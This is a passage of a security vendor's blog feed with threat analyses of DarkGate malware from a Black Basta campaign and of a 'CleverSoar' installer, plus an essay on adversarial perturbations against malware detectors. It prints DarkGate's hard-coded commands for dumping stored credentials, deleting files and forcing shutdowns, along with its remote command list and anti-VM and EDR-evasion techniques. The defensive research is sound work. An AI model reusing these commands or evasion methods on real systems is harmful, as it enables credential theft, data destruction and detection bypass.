zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+=. Used by key 8 as a message box caption.</td></tr><tr><td>13=6</td><td>Unknown</td></tr><tr><td>14=Yes</td><td>Unknown</td></tr><tr><td>15=80</td><td>C2 communication port.</td></tr><tr><td>1=Yes</td><td>Enables infection.</td></tr><tr><td>32=Yes</td><td>If enabled, attempt bypass of detected security products. For example, enables calls to RtlAdjustPrivilege and NtRaiseHardError to cause a crash if hdkcgae is not present in C:\temp\ and a Kaspersky product has been detected.</td></tr><tr><td>3=No</td><td>If disabled, do an anti-vm display check.</td></tr><tr><td>4=No</td><td>If enabled, compare system drive size to key 18. If below, exit.</td></tr><tr><td>18=100</td><td>Minimum drive size in GB.</td></tr><tr><td>6=No</td><td>If enabled and key 3 is disabled, check the display for known virtual machine display strings using EnumDisplayDevicesA. If matched, exit. Failed to match properly when tested.</td></tr><tr><td>7=No</td><td>If enabled, compare system RAM to key 19. If below, exit.</td></tr><tr><td>19=4096</td><td>Minimum RAM size in MB.</td></tr><tr><td>5=No</td><td>If enabled, check the registry key ProcessorNameString at HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 for xeon. If found, exit.</td></tr><tr><td>21=No</td><td>Unknown</td></tr><tr><td>22</td><td>Not present in the config for this sample, but is still checked for in the code. If enabled, set the variant string to DLL, otherwise ?.</td></tr><tr><td>23=Yes</td><td>If enabled, set the variant string to AU3 for Autoit3 payloads.</td></tr><tr><td>31=No</td><td>If enabled, set the variant string to AHK for AutoHotKey payloads.</td></tr><tr><td>25=drk2</td><td>Campaign ID</td></tr><tr><td>26=No</td><td>Unknown</td></tr><tr><td>27=rsFxMyDX</td><td>Decryption key, also used to bound/find payloads stored within other files.</td></tr><tr><td>28=No</td><td>Unknown</td></tr><tr><td>29=2</td><td>Unknown</td></tr><tr><td>35=No</td><td>Unknown</td></tr><tr><td>tabla=IsUiPQ4&atzM5N=0($"<br/>3]TGfyK8JYwvO61SAF{ndrDu<br/>ol29*RkmqCpgxeX[EH,V)}7j<br/>bZBc.WLh</td><td>Unknown</td></tr></tbody></table><table cols="1" colWidths="250"><thead><tr><th>DarkGate Hard-coded Commands</th></tr></thead><tbody><tr><td>/c cd /d "C:\Users\User\AppData\Roaming&lt;browser_dir&gt;" && move &lt;browser_name&gt; &lt;browser_name&gt;&lt;random_alphabet_string&gt;</td></tr><tr><td>/c cd /d "C:\Users\User\AppData\Local" && move &lt;browser_name&gt; &lt;browser_name&gt;&lt;random_alphabet_string&gt;</td></tr><tr><td>/c cmdkey /delete:</td></tr><tr><td>/c cmdkey /list &gt; c:\temp\cred.txt</td></tr><tr><td>/c del /q /f /s C:\Users\User\AppData\Roaming\Mozilla\firefox*</td></tr><tr><td>/c ping 127.0.0.1 & del /q /f /s c:\temp & del /q /f /s C:\ProgramData\hedfdfd\ & rmdir /s /q C:\ProgramData\hedfdfd\</td></tr><tr><td>/c shutdown -f -r -t 0</td></tr><tr><td>/c shutdown -f -s -t 0</td></tr><tr><td>/c wmic ComputerSystem get domain &gt; C:\ProgramData\hedfdfd\fcadaab</td></tr></tbody></table><p>During execution, DarkGate will hash certain strings and use the result to create or check files at the directories C:\ProgramData\hedfdfd(mainfolder) and C:\temp\. The hashing algorithm uses a randomized key generated at runtime, so the hashes across infections will be different. Commonly used strings and their resultant hash, for the analysis environment, are shown below.</p><table cols="2" colWidths="250,250"><thead><tr><th>Path String</th><th>DarkGate Custom Hash</th></tr></thead><tbody><tr><td>mainfolder</td><td>hedfdfd</td></tr><tr><td>logsfolder</td><td>fhhcfhh</td></tr><tr><td>settings</td><td>dhkbbfc</td></tr><tr><td>domain</td><td>fcadaab</td></tr><tr><td>mutex0</td><td>hfgdced</td></tr><tr><td>mutex1</td><td>cekchde</td></tr><tr><td>au3</td><td>dgfeabe</td></tr><tr><td>c.txt</td><td>adfcbdd</td></tr><tr><td>cc.txt</td><td>dehgaba</td></tr><tr><td>script</td><td>daaadeh</td></tr><tr><td>fs.txt</td><td>hdkcgae</td></tr></tbody></table><p>DarkGate may also change its behavior if a known security product is detected. This is achieved by using CreateToolhelp32Snapshot and related functions to loop through running processes which are compared to a hard-coded list. The malware will also check for known installation directories using GetFileAttributesA. If a security product is found, a flag will be set which may alter the execution path. Only the following products had associated flags:</p><table cols="5" colWidths="250,250,250,250,250"><thead><tr><th>DarkGate “Supported” Security Products</th><th>-</th><th>-</th><th>-</th><th>-</th></tr></thead><tbody><tr><td>Windows Defender</td><td>Sophos</td><td>Quick Heal</td><td>MalwareBytes</td><td>Panda Security</td></tr><tr><td>Norton/Symantec</td><td>ESET/Nod32</td><td>Kaspersky</td><td>Avast</td><td>SentinelOne</td></tr><tr><td>Bitdefender</td><td>-</td><td>-</td><td>-</td><td>-</td></tr></tbody></table><p>At the end of the first execution of the DarkGate payload, it will then attempt to inject itself into a host process. First, DarkGate will select the injection target by searching a list of hard coded directories for any executable that contains the string updatecore.exe, subdirectories included. The path C:\Program Files (x86)\Microsoft\EdgeUpdate\ is searched first, with the fallback being C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe. If a matching Edge executable is not found, the path C:\Program Files (x86)\Google\Update\ is then searched. If that also fails, the malware will attempt to use C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.</p><p>After successfully choosing the injection target, DarkGate will then inject itself into the target process using shellcode, terminating the original instance of the final DarkGate payload after executing the shellcode. When creating an instance of the target process to inject, DarkGate will also attempt to <a href="https://attack.mitre.org/techniques/T1134/004/">spoof the parent process ID</a> (PPID) of the injection target by enumerating running processes for accessibility using OpenProcess and then randomly selecting one from an assembled list. The PPID of the target is then updated using UpdateProcThreadAttribute prior to creation with CreateProcessA.</p><p>Execution of the injected process is coordinated by checking for the presence of two file based mutexes within C:\ProgramData\hedfdfd\ (mainfolder). Each instance of the DarkGate malware checks both of the file-based mutexes. The file mutex usage is checked via calls to CreateFileA using an exclusive share mode flag (0) and a creation disposition of CREATE_ALWAYS, which means that if the mutex is already in usage by another DarkGate instance the call will fail. If the call to both mutexes created by DarkGate, hfgdced and cekchde, fails, DarkGate will exit. As a result of having two mutexes, DarkGate will typically run within two injected process instances at the same time, so if one process is terminated, the remaining instance will spawn another. If a DarkGate instance is spawned and both calls to open the file based mutexes fail, indicating two existing DarkGate instances, the new instance will terminate. This technique is rarely used by malware developers and highlights the sophistication of DarkGate malware.</p><p>DarkGate will unconditionally log keystrokes as well as clipboard data that is under 1024 bytes. The logged data is stored encrypted at C:\ProgramData\hedfdfd\fhhcfhh (mainfolder\logsfolder) within files named &lt;date&gt;.log. The logged data may be sent directly to the C2 address contained within the config. A thread is also created to persist on infected systems by creating the Run key daaadeh (script) at HKCU\Software\Microsoft\Windows\CurrentVersion\Run. The Run key will point to the copies of Autoit3.exe and the compiled AU3 script payload dgfeabe.a3x (au3) created at C:\ProgramData\hedfdfd (mainfolder), with the former executing the latter every time the user logs on. When the AU3 script is executed, DarkGate reinfects the system. The thread continuously monitors the text within the infected user’s active window however, sleeping 1500ms between checks, and will delete the registry key if a blacklisted application is detected. This list includes popular analysis tools such as Process Hacker, Process Monitor, Task Manager, and even the Windows Registry Editor.</p><p>The DarkGate sample executed by SafeFilter.exe contains 78 remote commands, some of which can be seen below with their intended function. Every loop, the malware will re-send the text of the active window, user idle time, and whether or not the malware instance has admin rights, before checking for a command.</p><table cols="2" colWidths="250,250"><thead><tr><th>Command ID</th><th>Function</th></tr></thead><tbody><tr><td>1000</td><td>Sleep for a randomized amount of time.</td></tr><tr><td>1004</td><td>Use MessageBoxA to display the message test msg.</td></tr><tr><td>1044,1045,1046</td><td>Click the user’s mouse at specified screen coordinates using SetCursorPos and successive calls to mouse_event. 1044 for double left-click. 1045 for single left click. 1046 for single right click.</td></tr><tr><td>1049</td><td>Create a remote shell via powershell.exe.</td></tr><tr><td>1059</td><td>Terminate process by PID.</td></tr><tr><td>1061</td><td>Inject DarkGate shellcode into a specified process or an Edge/Chrome process if none is selected. The shellcode is then executed via ResumeThread.</td></tr><tr><td>1062,1063,1064</td><td>Inject DarkGate shellcode into a specified process or cmd.exe if none is selected. The shellcode is then executed via CreateRemoteThread.</td></tr><tr><td>1066</td><td>Remove infection files by using cmd.exe to delete the staging directories C:\ProgramData\hedfdfd and c:\temp\.</td></tr><tr><td>1071</td><td>Steal sitemanager.xml and recentservers.xml from %APPDATA%\FileZilla\ if present.</td></tr><tr><td>1079</td><td>If admin, delete stored credentials found using cmdkey.</td></tr><tr><td>1080</td><td>Rename browser directories for Firefox, Chrome, and Brave if present after terminating the related browser executable. Attempt to steal Opera cookies if present, after terminating the process.</td></tr><tr><td>1081</td><td>Use NTAPI calls RtlAdjustPrivilege and NtRaiseHardError to crash the system.</td></tr><tr><td>1083</td><td>Use the shutdown command to turn the system off.</td></tr><tr><td>1084</td><td>Use the shutdown command to restart the system.</td></tr><tr><td>1089</td><td>If 1=Yes in config, reinfect system with AU3 payloads.</td></tr><tr><td>1093</td><td>Create a remote shell via cmd.exe.</td></tr><tr><td>1097</td><td>Infect system with AU3 variant. Creates the files script.a3x and Autoit3.exe in c:\temp and then executes script.a3x via Autoit3.exe using CreateProcessA.</td></tr><tr><td>1104</td><td>Infect system with AHK variant. Creates the files script.ahk, test.txt, and AutoHotkey.exe in c:\temp and then executes script.ahk via AutoHotkey.exe using CreateProcessA.</td></tr><tr><td>1108</td><td>Infect system with DLL variant. Creates the files libcurl.dll, test.txt, and GUP.exe in c:\temp and then executes GUP.exe via CreateProcessA.</td></tr><tr><td>1111</td><td>Create the files ransom.txt and decrypter.exe in c:\temp. Terminate decrypter.exe if already running and then execute decrypter.exe using CreateProcessA. Likely ransomware deployment method.</td></tr></tbody></table><table cols="5" colWidths="250,250,250,250,250"><thead><tr><th>DarkGate Remote Command Related Strings</th><th>-</th><th>-</th><th>-</th><th>-</th></tr></thead><tbody><tr><td>U_Binder</td><td>U_BotUpdate</td><td>U_Constantes</td><td>U_FTPRecovery</td><td>U_FileManager</td></tr><tr><td>U_FileManagerMisc</td><td>U_GetScreens</td><td>U_HVNC</td><td>U_HVNC_7</td><td></td></tr><tr><td>U_HWID</td><td>U_InfoRecovery</td><td>U_InjectOnFly</td><td>U_Keylogger</td><td>U_LNKStartup</td></tr><tr><td>U_MemExecute</td><td>U_MemExecuteMisc</td><td>U_RemoteScreen</td><td>U_SysApi</td><td>U_SysNtReadWrite</td></tr><tr><td>U_miniclipboard</td><td>u_AntiAntiStartup</td><td>u_Antis</td><td>u_AudioRecord</td><td>u_CustomBase64</td></tr><tr><td>u_ExtraMisc</td><td>u_HollowInstall</td><td>u_InjectEP</td><td>u_InvokeBSOD</td><td>u_RDPRecovery</td></tr><tr><td>u_Ransomware</td><td>u_ReadCookies</td><td>u_ReverseShell</td><td>u_RootkitMutex</td><td>u_Settings</td></tr><tr><td>u_SettingsPad</td><td>u_ShellcodeEP</td><td>u_UnlockCookies</td><td>u_loadpe</td><td>hxxps://ipinfo[.]io/ip</td></tr></tbody></table><h2>Mitigation Guidance</h2><p>Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:<br/></p><ul><li><strong>Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible.</strong> This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default.<a href="https://learn.microsoft.com/en-us/microsoftteams/trusted-organizations-external-meetings-chat?tabs=organization-settings"> For more information, see this reference</a>.</li><li><strong>Standardize remote management tools within the environment.</strong> For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.</li><li><strong>Provide user awareness training regarding the social engineering campaign.</strong> Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.</li><li><strong>Standardize VPN access. </strong>Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.</li></ul><h2>Rapid7 Customers</h2><p><a href="/products/insightidr/">InsightIDR</a>, Managed Detection and Response, and <a href="/services/managed-detection-and-response-mdr/">Managed Threat Complete</a> customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:</p><table cols="1" colWidths="250"><thead><tr><th>Detections</th></tr></thead><tbody><tr><td>Suspicious Chat Request - Potential Social Engineering Attempt</td></tr><tr><td>Initial Access - Potential Social Engineering Session Initiated Following Chat Request</td></tr><tr><td>Suspicious Conversation - Potential Social Engineering Message Interaction</td></tr><tr><td>Attacker Technique - Process Executed Using Nt Object Path</td></tr><tr><td>Suspicious Process - Enumeration Burst via ShellExecute</td></tr><tr><td>Attacker Technique - Renamed Kaspersky Dump Writer</td></tr><tr><td>Ransomware - Possible Black Basta Related Binary Execution</td></tr><tr><td>Credential Access - Steal or Forge Kerberos tickets</td></tr><tr><td>Suspicious Process - Diskshadow (Windows Server) Delete Shadow Copies</td></tr><tr><td>Non-Approved Application - Remote Management and Monitoring (RMM) Tools</td></tr></tbody></table><h2>MITRE ATT&CK Techniques</h2><table cols="3" colWidths="250,250,250"><thead><tr><th>Tactic</th><th>Technique</th><th>Procedure</th></tr></thead><tbody><tr><td>Resource Development</td><td>T1587.001: Develop Capabilities: Malware</td><td>The threat actor is actively developing new malware to distribute.</td></tr><tr><td>Impact</td><td>T1498: Network Denial of Service</td><td>The threat actor overwhelms email protection solutions with spam.</td></tr><tr><td>Initial Access</td><td>T1566.004: Phishing: Spearphishing Voice</td><td>The threat actor calls impacted users and pretends to be a member of their organization’s IT team to gain remote access.</td></tr><tr><td>Defense Evasion</td><td>T1140: Deobfuscate/Decode Files or Information</td><td>The threat actor encrypts some zip archive payloads with a password.</td></tr><tr><td>Defense Evasion</td><td>T1055.002: Process Injection: Portable Executable Injection</td><td>Multiple payloads executed by the threat actor utilize local PE injection.</td></tr><tr><td>Defense Evasion</td><td>T1620: Reflective Code Loading</td><td>Multiple payloads executed by the threat actor load and execute shellcode.</td></tr><tr><td>Credential Access</td><td>T1649: Steal or Forge Authentication Certificates</td><td>The threat actor has distributed numerous signed malware payloads.</td></tr><tr><td>Credential Access</td><td>T1056.001: Input Capture: Keylogging</td><td>The threat actor runs an executable that harvests the user’s credentials.</td></tr><tr><td>Credential Access</td><td>T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting</td><td>The threat actor has performed Kerberoasting after gaining initial access.</td></tr><tr><td>Discovery</td><td>T1033: System Owner/User Discovery</td><td>The threat actor enumerates asset and user information within the environment after gaining access.</td></tr><tr><td>Command and Control</td><td>T1572: Protocol Tunneling</td><td>The threat actor has attempted to use SSH reverse tunnels.</td></tr><tr><td>Command and Control</td><td>T1219: Remote Access Software</td><td>The threat actor has used QuickAssist, AnyDesk, ScreenConnect, TeamViewer, Level, and more, to facilitate remote access.</td></tr></tbody></table><h2>Indicators of Compromise</h2><p>Indicators of compromise are <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/IOCs/BlackBasta_SocialEngineering_IOCs.txt">available here</a>.</p><div><h4>NEVER MISS AN EMERGING THREAT</h4><p>Be the first to learn about the latest vulnerabilities and cybersecurity news.</p><a href="#">Subscribe Now</a></div>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware</link>
      <guid isPermaLink="false">blt1c227d1fe8538767</guid>
      <category><![CDATA[Incident Response]]></category>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Ransomware]]></category><dc:creator><![CDATA[Tyler McGraw]]></dc:creator>
      <pubDate>Wed, 04 Dec 2024 15:45:04 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0a703e46b379f64a/683de05ce3c8aa1558830d77/gettyimages-2180078018.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Why Cybercriminals Are Not Necessarily Embracing AI]]></title>
      <description><![CDATA[<p><em>As published in </em><a href="https://hackernoon.com/"><em>HackerNoon</em></a><em> and featured as a “Top 20 Best Read Article” for AI.</em></p><h2>Introduction</h2><p>The rapid advancement of AI has offered powerful tools for malware detection, but it has also introduced new avenues for adversarial attacks. As an example, recently OpenAI reported threat actors abusing ChatGPT to execute reconnaissance, help fix code, write partial code, or look at vulnerabilities. These are, to me, examples of AI aiding “basic” steps, but would threat actors invest and use more advanced applications?</p><p>Universal Adversarial Perturbations (UAPs) have gained attention due to their potential to bypass machine learning models in various domains, including malware detection. UAPs can manipulate malware in ways that evade AI-based detection systems without altering the malware's core functionality. However, despite this capability, cybercriminals have not widely adopted AI-driven techniques like UAPs. This blog delves into the complexity and effort required to generate UAPs for malware and explains why it might not be worth the trouble for attackers.</p><p>Just to be clear on definitions:</p><p>Artificial Intelligence (AI) is a broad field that aims to create machines or software capable of performing tasks that typically require human intelligence, such as understanding language, recognizing images, problem-solving, and decision-making. AI encompasses various techniques and approaches, from rule-based systems to learning algorithms.</p><p>Machine Learning (ML) is a subset of AI that focuses on building systems that learn from data. Instead of being explicitly programmed for each task, ML models identify patterns in data to make predictions or decisions, improving over time with more experience.</p><h2>UAPs: A Brief Overview</h2><p>Universal Adversarial Perturbations (UAPs) are subtle modifications applied to input data (such as malware samples) to mislead AI models. What makes UAPs particularly interesting is that a single perturbation can be applied to many inputs (one ring rules them all), causing the AI model to misclassify them. Think of it as changing just a few pixels in a picture to make a powerful facial recognition system mistake someone for someone else. In the below example, a single bit of random code is added to multiple different images, resulting in the classifying model going completely wrong on the identification.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte2e2b25b4d248e6c/683ddfaf7f86037b74230751/Screenshot-2024-11-15-at-3.13.33-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-15-at-3.13.33-PM.png" asset-alt="Screenshot-2024-11-15-at-3.13.33-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte2e2b25b4d248e6c/683ddfaf7f86037b74230751/Screenshot-2024-11-15-at-3.13.33-PM.png" data-sys-asset-uid="blte2e2b25b4d248e6c" data-sys-asset-filename="Screenshot-2024-11-15-at-3.13.33-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-15-at-3.13.33-PM.png" sys-style-type="display"/></figure><p>When we look at the example of the platypus, the model identifies the animal partially right based on the training on the beak with other images, but due to the interference with the added “noise” in the pixels, it classifies it wrong. That is exactly the interesting space when it comes to malware detection and evasion. You want malicious files to be classified wrong.</p><p>In the context of malware detection, UAPs allow attackers to evade detection without having to create entirely new malware variants. While this seems like a low-effort, high-reward strategy, generating effective UAPs is far more challenging than it appears, particularly in the malware domain.</p><h2>Complexity in Crafting UAPs for Malware</h2><p>In their paper, <a href="https://arxiv.org/pdf/2102.06747.pdf">"Realizable Universal Adversarial Perturbations for Malware</a>," Labaca-Castro et al. demonstrate that crafting UAPs for malware requires an intricate balance between manipulating feature space (abstract representations of malware) and problem space (real-world executable malware). Unlike image or text data, where perturbations may be easily applied without affecting functionality, malware is far more delicate. A slight misstep in the perturbation process can corrupt the malware sample, rendering it unusable. You need to respect (with regards to Windows malware) the PE structure of a file. A modification to that structure will break its functionality and the malware will not execute. It may have bypassed detection but it is useless to the attacker.</p><p>The process requires attackers to perform a series of careful transformations to avoid breaking the executable while still evading detection. This is a far cry from simply adding noise to an image or text dataset. As a result, the time and expertise required to create UAPs that both fool AI/ML malware detection models and preserve malware functionality is significant.</p><h2>UAPs vs. New Malware Variants</h2><p>Given the complexity of generating UAPs, cybercriminals face a dilemma: Should they invest time and resources into crafting these perturbations, or is it easier to create entirely new strains of malware?</p><p>Developing a new malware strain might involve reusing code from previous versions, applying known obfuscation techniques, or modifying payloads. This process is often faster, less risky, and more predictable compared to the complex sequence of transformations required to generate UAPs. As a result, many attackers prefer to invest in creating new strains of malware, which are more likely to achieve the desired outcome without the same level of effort and risk.</p><h2>Challenges</h2><p>One of the major hurdles in applying UAPs to malware is the real-world execution environment. Malware operates in dynamic, unpredictable conditions, and UAPs crafted in controlled environments may not perform as expected once deployed. Small changes in the operating system, file structure, or antivirus defenses can render the UAP ineffective. This fragility is a key reason why UAPs remain largely theoretical for <a href="/fundamentals/malware-attacks/">malware attacks</a> rather than a widely adopted technique in practice.</p><p>Additionally, defenders are not standing still. <a href="https://dl.acm.org/doi/abs/10.1145/3374664.3375746">Adversarial training</a>—where AI models are retrained using adversarial examples—can harden systems against UAPs, making it even harder for attackers to succeed. Mitigation strategies will raise the cost and effort required for attackers to generate successful UAPs, further reducing their appeal.</p><h2>Conclusion</h2><p>The idea of using AI to defeat AI, particularly through Universal Adversarial Perturbations, may seem like a natural progression in the ongoing battle between attackers and defenders. However, the reality is that the complexity and risk associated with developing UAPs for malware make this approach unattractive for most cybercriminals. Instead, attackers tend to rely on more straightforward methods like creating new malware variants, which offer a better return on investment with less risk of failure. If you examine some of the latest ransomware campaigns, none of them highlight the use of AI-based techniques. Instead, as shown in <a href="/blog/tag/ransomware/">recent coverage of ransomware</a> tactics, attackers consistently focus on tried-and-tested approaches that maximize impact and minimize operational complexity.</p><p>As long as the development of UAPs remains fraught with difficulties—such as maintaining functionality and overcoming problem-space constraints—it’s unlikely that we will see widespread adoption of these techniques in the cybercriminal world. Instead, traditional malware development and deployment methods will continue to dominate the landscape, while defenders must remain vigilant and adaptive to the evolving AI threat landscape.</p>]]></description>
      <link>https://www.rapid7.com/blog/post/2024/12/02/why-cybercriminals-are-not-necessarily-embracing-ai</link>
      <guid isPermaLink="false">bltbccee30f197c8833</guid>
      <category><![CDATA[Artificial Intelligence]]></category>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Rapid7 Perspective]]></category><dc:creator><![CDATA[Christiaan Beek]]></dc:creator>
      <pubDate>Mon, 02 Dec 2024 14:30:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4400c4c78b3421e6/683ddfda3beff0c59da7c407/GettyImages-1212594083.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[New “CleverSoar” Installer Targets Chinese and Vietnamese Users]]></title>
      <description><![CDATA[<h2>CleverSoar Installer Used to Deploy Nidhogg Rootkit and Winos4.0 Framework Against Targeted Users</h2><p>In early November, <a href="/research/">Rapid7 Labs</a> identified a new, highly evasive malware installer, 'CleverSoar,' targeting Chinese and Vietnamese-speaking victims. CleverSoar is designed to deploy and protect multiple malicious components within a campaign, including the advanced Winos4.0 framework and the Nidhogg rootkit. These tools enable capabilities such as keystroke logging, data exfiltration, security bypasses, and covert system control, suggesting that the campaign is part of a potentially prolonged espionage effort. Rapid7 Labs’ findings indicate a sophisticated and persistent threat, likely focused on data capture and extended surveillance.</p><h2>Distribution</h2><p>While the majority of CleverSoar installer-related binaries were detected in November 2024, we discovered that the initial version of these files was uploaded to VirusTotal in late July of this year. The malware distribution begins with a .msi installer package, which extracts the files and subsequently executes the CleverSoar installer.</p><h2>Victimology</h2><p>The CleverSoar installer, as detailed in the Technical Analysis section, checks the user’s language settings to verify if they are set to Chinese or Vietnamese. If the language is not recognized, the installer terminates, effectively preventing infection. This behavior strongly suggests that the threat actor is primarily targeting victims in these regions. Based on the folder names generated by the malicious .msi files (e.g., Wegame, Installer), we infer that the .msi installer is being distributed as fake software or gaming-related applications.</p><h2>Attribution</h2><p>Rapid7 Labs was unable to attribute the installer to a specific known threat actor. However, due to similarities in campaign characteristics, we suspect with medium confidence that the same threat actor may be responsible for both the <a href="https://www.fortinet.com/blog/threat-research/valleyrat-campaign-targeting-chinese-speakers">ValleyRAT</a> campaign and the <a href="https://www.fortinet.com/blog/threat-research/threat-campaign-spreads-winos4-through-game-application">new campaign</a>, both reported by Fortinet this year. The techniques employed in the CleverSoar installer suggest that the threat actor possesses advanced skills and a comprehensive understanding of Windows protocols and security products.</p><h2>Rapid7 Customers</h2><p><a href="/products/insightidr/">InsightIDR</a> and <a href="/services/managed-detection-and-response-mdr/">Managed Detection and Response (MDR)</a> customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. The following rule will alert on a wide range of malicious hashes tied to behavior in this blog:  Suspicious Process - Malicious Hash On Asset.</p><h2>Technical Analysis</h2><p>This technical analysis will cover the CleverSoar installer used to evasively deploy the<strong> Nidhogg </strong>rootkit, <strong>Winos4.0</strong> framework and the custom backdoor (<a href="https://attack.mitre.org/techniques/T1105/">T1105</a>). The installer is also responsible for disabling security solutions (<a href="https://attack.mitre.org/techniques/T1562/001/">T1562.001</a>) and making sure to infect only machines with Chinese or Vietnamese system languages (<a href="https://attack.mitre.org/techniques/T1614/001/">T1614.001</a>).</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd6ac998b456a08f0/683de19d4b2b7f904de161a6/Screenshot-2024-11-25-at-2.49.06-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-25-at-2.49.06-PM.png" asset-alt="Screenshot-2024-11-25-at-2.49.06-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd6ac998b456a08f0/683de19d4b2b7f904de161a6/Screenshot-2024-11-25-at-2.49.06-PM.png" data-sys-asset-uid="bltd6ac998b456a08f0" data-sys-asset-filename="Screenshot-2024-11-25-at-2.49.06-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-25-at-2.49.06-PM.png" sys-style-type="display"/></figure><p>File Information:</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4e91a3b9c26e6d84/683de1c8cc604222162067e0/Screenshot-2024-11-27-at-9.27.19-AM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-11-27-at-9.27.19-AM.png" asset-alt="Screenshot-2024-11-27-at-9.27.19-AM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4e91a3b9c26e6d84/683de1c8cc604222162067e0/Screenshot-2024-11-27-at-9.27.19-AM.png" data-sys-asset-uid="blt4e91a3b9c26e6d84" data-sys-asset-filename="Screenshot-2024-11-27-at-9.27.19-AM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-11-27-at-9.27.19-AM.png" sys-style-type="display"/></figure><p>Given our high confidence that the malicious files were dropped by a .msi package (<a href="https://attack.mitre.org/techniques/T1218/007/">T1218.007</a>), which in our case creates a 'WindowsNT' folder under the 'C:\Program Files (x86)' directory, we also assume that the same .msi package is responsible for dropping all the payloads listed below and executing the 'Update.exe' binary.</p><p>The installer begins by verifying the existence of the 'C:\cs' folder.It subsequently checks if the process is elevated by executing 'GetTokenInformation' and passing 'TokenElevation' (0x14) as a TokenInformationClass (<a href="https://attack.mitre.org/techniques/T1134/">T1134</a>). If the process is not elevated, the malware will utilize the 'runas' operation of 'ShellExecuteA' to execute the process with Administrator privileges (<a href="https://attack.mitre.org/techniques/T1134/002/">T1134.002</a>).</p><p>Subsequently, it proceeds to a series of evasion techniques, commencing with a rarely employed one.</p><h3>Firmware Table Anti-VM</h3><p>The malware retrieves a raw SMBIOS firmware table by invoking 'GetSystemFirmwareTable' and verifying a specific value presence. In our instance, the installer checks for 'QEMU' (indicating a free string open-sourced <a href="https://www.qemu.org/">emulator</a>) presence in the returned buffer (<a href="https://attack.mitre.org/techniques/T1497/001/">T1497.001</a>). This technique is a sophisticated Anti-VM method as certain memory regions utilized by the operating system contain distinctive artifacts when the operating system is executed within a virtual environment. Notably, this technique has been previously employed by the <a href="https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/">Raspberry Robin</a> malware, but in a slightly different way.</p><h3>Windows Defender Emulator</h3><p>The installer employs the 'LdrGetDllHandleEx' and 'RtlImageDirectoryEntryToData' functions to ascertain the state of Windows Defender’s emulator (<a href="https://attack.mitre.org/techniques/T1497/001/">T1497.001</a>). Additionally, it utilizes the 'NtIsProcessInJob' and 'NtCompressKey' functions for the same purpose. These three anti-emulation techniques are publicly available in the <a href="https://github.com/hfiref0x/UACME/blob/master/Source/Shared/windefend.c">UACME</a> open-source project. Upon successful completion of these anti-emulation checks, the installer logs that defender checks were successfully bypassed and proceeds to the subsequent check.</p><h3>Windows 10 or Windows 11</h3><p>Initially, the installer verifies the operating system version by invoking the 'GetVersionExW' function (<a href="https://attack.mitre.org/techniques/T1082/">T1082</a>). To identify whether the malware is executing on the Windows 10 operating system or Windows 11, the presence of the 'C:\Windows\System32\Taskbar.dll' file is checked, as this file can only be found on Windows 11 operating systems.</p><h3>3rd Party DLL Injection Prevention</h3><p>The CleverSoar installer modifies the processes mitigation policy to include the restriction 'Signatures restricted (Microsoft only)' (<a href="https://attack.mitre.org/techniques/T1543/">T1543</a>). This action prevents non-Microsoft-signed binaries from being injected into the affected process. By implementing this technique, Anti-Virus and EDR solutions that employ userland hooking cannot inject their DLLs into the running process.</p><h3>Timing Anti-Debug</h3><p>The installer also executes timing anti-debug checks by invoking the 'GetTickCount64' function twice and measuring the delay between instructions and their execution (<a href="https://attack.mitre.org/techniques/T1622/">T1622</a>).</p><h3>Simple Anti-Debug check</h3><p>The CleverSoar installer employs the 'IsDebuggerPresent' API call to ascertain whether the process is currently undergoing debugging (<a href="https://attack.mitre.org/techniques/T1622/">T1622</a>).</p><h3>Anti-Sandbox/Anti-VM Username Check</h3><p>Upon the successful completion of all preceding checks, the malware retrieves the current username and subsequently compares it to the following (<a href="https://attack.mitre.org/techniques/T1497/001/">T1497.001</a>):</p><p>'CurrentUser, Sandbox, 